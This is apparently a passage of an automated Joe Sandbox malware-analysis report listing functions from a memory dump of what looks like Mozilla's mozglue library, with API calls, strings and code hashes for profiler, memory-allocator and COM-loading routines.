free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E85AC

Part of subcall function 6C5E7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5E85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E767F
Part of subcall function 6C5E7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5E85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E7693
Part of subcall function 6C5E7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C5E85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E76A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E85B2

Part of subcall function 6C5C5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5C5EDB
Part of subcall function 6C5C5E90: memset.VCRUNTIME140(ew`l,000000E5,?), ref: 6C5C5F27
Part of subcall function 6C5C5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5C5FB2

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 3618939d2246d539879c1c169ea646ce8a789ed37bdf003004a6aa54b5a21095
Instruction ID: b652a571e6f515641b9c497483492db018b07d393e4d3211ba346c22e8bc3285
Opcode Fuzzy Hash: 3618939d2246d539879c1c169ea646ce8a789ed37bdf003004a6aa54b5a21095
Instruction Fuzzy Hash: 61218375200601AFEB14DB29CC88A5AB7B5AF8830CF14482DE55BC3B42DB35F948CB96

Function 6C5B1640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C5B1699
VerSetConditionMask.NTDLL ref: 6C5B16CB
VerSetConditionMask.NTDLL ref: 6C5B16D7
VerSetConditionMask.NTDLL ref: 6C5B16DE
VerSetConditionMask.NTDLL ref: 6C5B16E5
VerSetConditionMask.NTDLL ref: 6C5B16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C5B16F9

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: b6f42de132c7c570b1acc8af22459d86b432da717e7c0a9fdf9f8d92dba5dab6
Instruction ID: d7b8fea4e3683e935f6ab4b0026390d715965b0081423ffdbe60eb39ebaa007a
Opcode Fuzzy Hash: b6f42de132c7c570b1acc8af22459d86b432da717e7c0a9fdf9f8d92dba5dab6
Instruction Fuzzy Hash: 9321E4B07442086BEB116E69CC85FFBB77CEFC6704F004528F645AB5C0C6799D548BA5

Function 6C5EF5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5DCBE8: GetCurrentProcess.KERNEL32(?,6C5A31A7), ref: 6C5DCBF1
Part of subcall function 6C5DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5A31A7), ref: 6C5DCBFA

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C5EF598), ref: 6C5EF621

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

GetCurrentThreadId.KERNEL32 ref: 6C5EF637
AcquireSRWLockExclusive.KERNEL32(6C62F4B8,?,?,00000000,?,6C5EF598), ref: 6C5EF645
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8,?,?,00000000,?,6C5EF598), ref: 6C5EF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C5EF62A

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 69fbacff4da7f0a93362dcaa94a33f23be06b897f07cb4d8d1ce540091deff6d
Instruction ID: d740527415803baead367260ccc54a38db26fffedb8bb9903df7e10db01e0423
Opcode Fuzzy Hash: 69fbacff4da7f0a93362dcaa94a33f23be06b897f07cb4d8d1ce540091deff6d
Instruction Fuzzy Hash: 7611C471201204EBCB04AF1ADC849D57779FFCA768F500416EA0687F42CB79AC11CFA9

Function 6C5B2070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

LoadLibraryW.KERNEL32(combase.dll,6C5B1C5F), ref: 6C5B20AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C5B20CD
__Init_thread_footer.LIBCMT ref: 6C5B20E1
FreeLibrary.KERNEL32 ref: 6C5B2124

Strings

combase.dll, xrefs: 6C5B20A9
CoInitializeSecurity, xrefs: 6C5B20C7

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: 81d5ff8c5f555e580e36bcecfa518a0618cbc3de2ca210ca6dd8382fae19bf42
Instruction ID: 5b92a4b743317ea15f68d3e43842e71e00a187b22aa883503822c81697868b54
Opcode Fuzzy Hash: 81d5ff8c5f555e580e36bcecfa518a0618cbc3de2ca210ca6dd8382fae19bf42
Instruction Fuzzy Hash: E5217976200219EFDF11DF5ADC88EDA3F76FB4A365F104014FA05A2610D7399862CFAA

Function 6C6076C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C6076F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C607705

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C607717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C60778F,00000000,00000000,00000000,00000000), ref: 6C607731
free.MOZGLUE(00000000), ref: 6C607760

Strings

}>^l, xrefs: 6C6076C4

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>^l
API String ID: 2538299546-4141363822
Opcode ID: 02ea93f5d8dae6cc70c534ca2b7b28a8e68b0bddd1472283d0ac95af12868c13
Instruction ID: 3893732f0238d377a58bf1b99782178f79b1b980dc362e957950ebf602c93efd
Opcode Fuzzy Hash: 02ea93f5d8dae6cc70c534ca2b7b28a8e68b0bddd1472283d0ac95af12868c13
Instruction Fuzzy Hash: FF11C8B1A05215ABD710AFB69D44BAB7EF8EF86354F144429F848E7300E7719C4087F6

Function 6C5B1FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C5B1FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C5B1FFD
__Init_thread_footer.LIBCMT ref: 6C5B2011
FreeLibrary.KERNEL32 ref: 6C5B2059

Strings

combase.dll, xrefs: 6C5B1FD9
CoCreateInstance, xrefs: 6C5B1FF7

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: a18edd1393dcf326f9966836c3931d27974555fc73e623fee84e296eb54c4658
Instruction ID: 2d0b8be81770f0a479099af5416ad86b74d219a1b8ec5eb329186d73010cba62
Opcode Fuzzy Hash: a18edd1393dcf326f9966836c3931d27974555fc73e623fee84e296eb54c4658
Instruction Fuzzy Hash: 43115E75201219EFEF20CF26CD9CE963F79EB96355F104029F905A2640D7399861CF7A

Function 6C5B0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C5DD9F0,00000000), ref: 6C5B0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C5B0F3C
__Init_thread_footer.LIBCMT ref: 6C5B0F50
FreeLibrary.KERNEL32(?,6C5DD9F0,00000000), ref: 6C5B0F86

Strings

CoInitializeEx, xrefs: 6C5B0F36
combase.dll, xrefs: 6C5B0F18

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: a7cee45d4ec562646d864cf8a1148395bd84483e521c1bae9e1d3e78dda1bc79
Instruction ID: fdb6274280e0f1f393e42948ae0343e7f380d4eda2ee25400c2213caffb89feb
Opcode Fuzzy Hash: a7cee45d4ec562646d864cf8a1148395bd84483e521c1bae9e1d3e78dda1bc79
Instruction Fuzzy Hash: 1D117774705250DBDF00CF6ACE98E563B74FBD6356F00452AE905B2A40D73DA405CE5E

Function 6C5EF540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EF561

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

GetCurrentThreadId.KERNEL32 ref: 6C5EF577
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF585
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF5A3

Strings

[I %d/%d] profiler_resume, xrefs: 6C5EF239
[I %d/%d] profiler_pause_sampling, xrefs: 6C5EF3A8
[I %d/%d] profiler_resume_sampling, xrefs: 6C5EF499
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C5EF56A

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 3c2e8acc4c31766ecfc975ffcc8cefc4c1e6c627542a3f463756e48522c68cc4
Instruction ID: 03265f08b4a00b757ebf81af91c979ad22f8070b296c73ce3a419070fe799b41
Opcode Fuzzy Hash: 3c2e8acc4c31766ecfc975ffcc8cefc4c1e6c627542a3f463756e48522c68cc4
Instruction Fuzzy Hash: 96F054B6600214DBDB106F66DC8899A77BDFFCA2ADF100415EA4683702DB795C05CB79

Function 6C5B0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C5B0DF8), ref: 6C5B0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C5B0EA1
__Init_thread_footer.LIBCMT ref: 6C5B0EB5
FreeLibrary.KERNEL32 ref: 6C5B0EC5

Strings

GetProcessMitigationPolicy, xrefs: 6C5B0E9B
kernel32.dll, xrefs: 6C5B0E7D

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 8a41818a3f56e7a280dc361170db04a4a59b64484cd9ec0752716f28a7af0ae1
Instruction ID: 1338323c2aa967b18e730aef20f6ff9aa4f5ce6327b88b9390b08b796e755f94
Opcode Fuzzy Hash: 8a41818a3f56e7a280dc361170db04a4a59b64484cd9ec0752716f28a7af0ae1
Instruction Fuzzy Hash: 99012CB0700391CBDB009FAAEAE4B523BB5E786715F100526ED81A2B40D778F4058E0F

Function 6C5EF600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C5EF598), ref: 6C5EF621

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

GetCurrentThreadId.KERNEL32 ref: 6C5EF637
AcquireSRWLockExclusive.KERNEL32(6C62F4B8,?,?,00000000,?,6C5EF598), ref: 6C5EF645
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8,?,?,00000000,?,6C5EF598), ref: 6C5EF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C5EF62A

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 8a7f11ead181df86cb2777e4ba332622f2531f251d4c97163218a775b05a5fa2
Instruction ID: b5152233cb28f46531ffb5a9e07f26628ce8b2b510106d1e6375e3429f58e837
Opcode Fuzzy Hash: 8a7f11ead181df86cb2777e4ba332622f2531f251d4c97163218a775b05a5fa2
Instruction Fuzzy Hash: 5DF054B5200214EBDB006F66DC8899A777DFFCA2ADF100415EA4683742CB7D5C068B79

Function 6C5E05F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C5DCFAE,?,?,?,6C5A31A7), ref: 6C5E05FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C5DCFAE,?,?,?,6C5A31A7), ref: 6C5E0616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C5A31A7), ref: 6C5E061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C5A31A7), ref: 6C5E0627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C5E061B, 6C5E0625
<jemalloc>, xrefs: 6C5E05FA, 6C5E060F

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 1eb7e58eecf85674e7aecac0d09b90099c4523d2296cb72b96c586a10a3ddd04
Instruction ID: c4a98a956f55f95e307f566df6d2a84d968cb2cab198701521c56181794086b4
Opcode Fuzzy Hash: 1eb7e58eecf85674e7aecac0d09b90099c4523d2296cb72b96c586a10a3ddd04
Instruction Fuzzy Hash: 89E08CE2A0505037F614625AAC86DBB761CDBC6134F080039FE0E83701E94AAD1A91FA

Function 6C5B05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b68d604123b8c700eab54a0339abaf282b528aaab9a3049d03e3def920749ec1
Instruction ID: 71b87c169bac8725c5fed277119e8e624a08bb25e853a94f434066c43cba1a7e
Opcode Fuzzy Hash: b68d604123b8c700eab54a0339abaf282b528aaab9a3049d03e3def920749ec1
Instruction Fuzzy Hash: 95A139B0A00745CFDB14CF29CA94A9AFBF1BF89304F54866ED44AA7B00E735A945CF90

Function 6C6014A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6014C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6014E2
GetCurrentThreadId.KERNEL32 ref: 6C601546
InitializeConditionVariable.KERNEL32(?), ref: 6C6015BA
free.MOZGLUE(?), ref: 6C6016B4

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 44048b429ea6754209735bae832411f7e40f69ccb4947dfeba277eceffb089cc
Instruction ID: 3b85694a2f6a8376f6868fcd50267b928d270214ee3f971a7a68f408e6e03eb1
Opcode Fuzzy Hash: 44048b429ea6754209735bae832411f7e40f69ccb4947dfeba277eceffb089cc
Instruction Fuzzy Hash: BF610F71A00710DBCB268F25CD80BDAB7B0BF8A308F44851CED8A67701DB35E949CB96

Function 6C5F9F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5F9FDB
free.MOZGLUE(?,?), ref: 6C5F9FF0
free.MOZGLUE(?,?), ref: 6C5FA006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5FA0BE
free.MOZGLUE(?,?), ref: 6C5FA0D5
free.MOZGLUE(?,?), ref: 6C5FA0EB

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
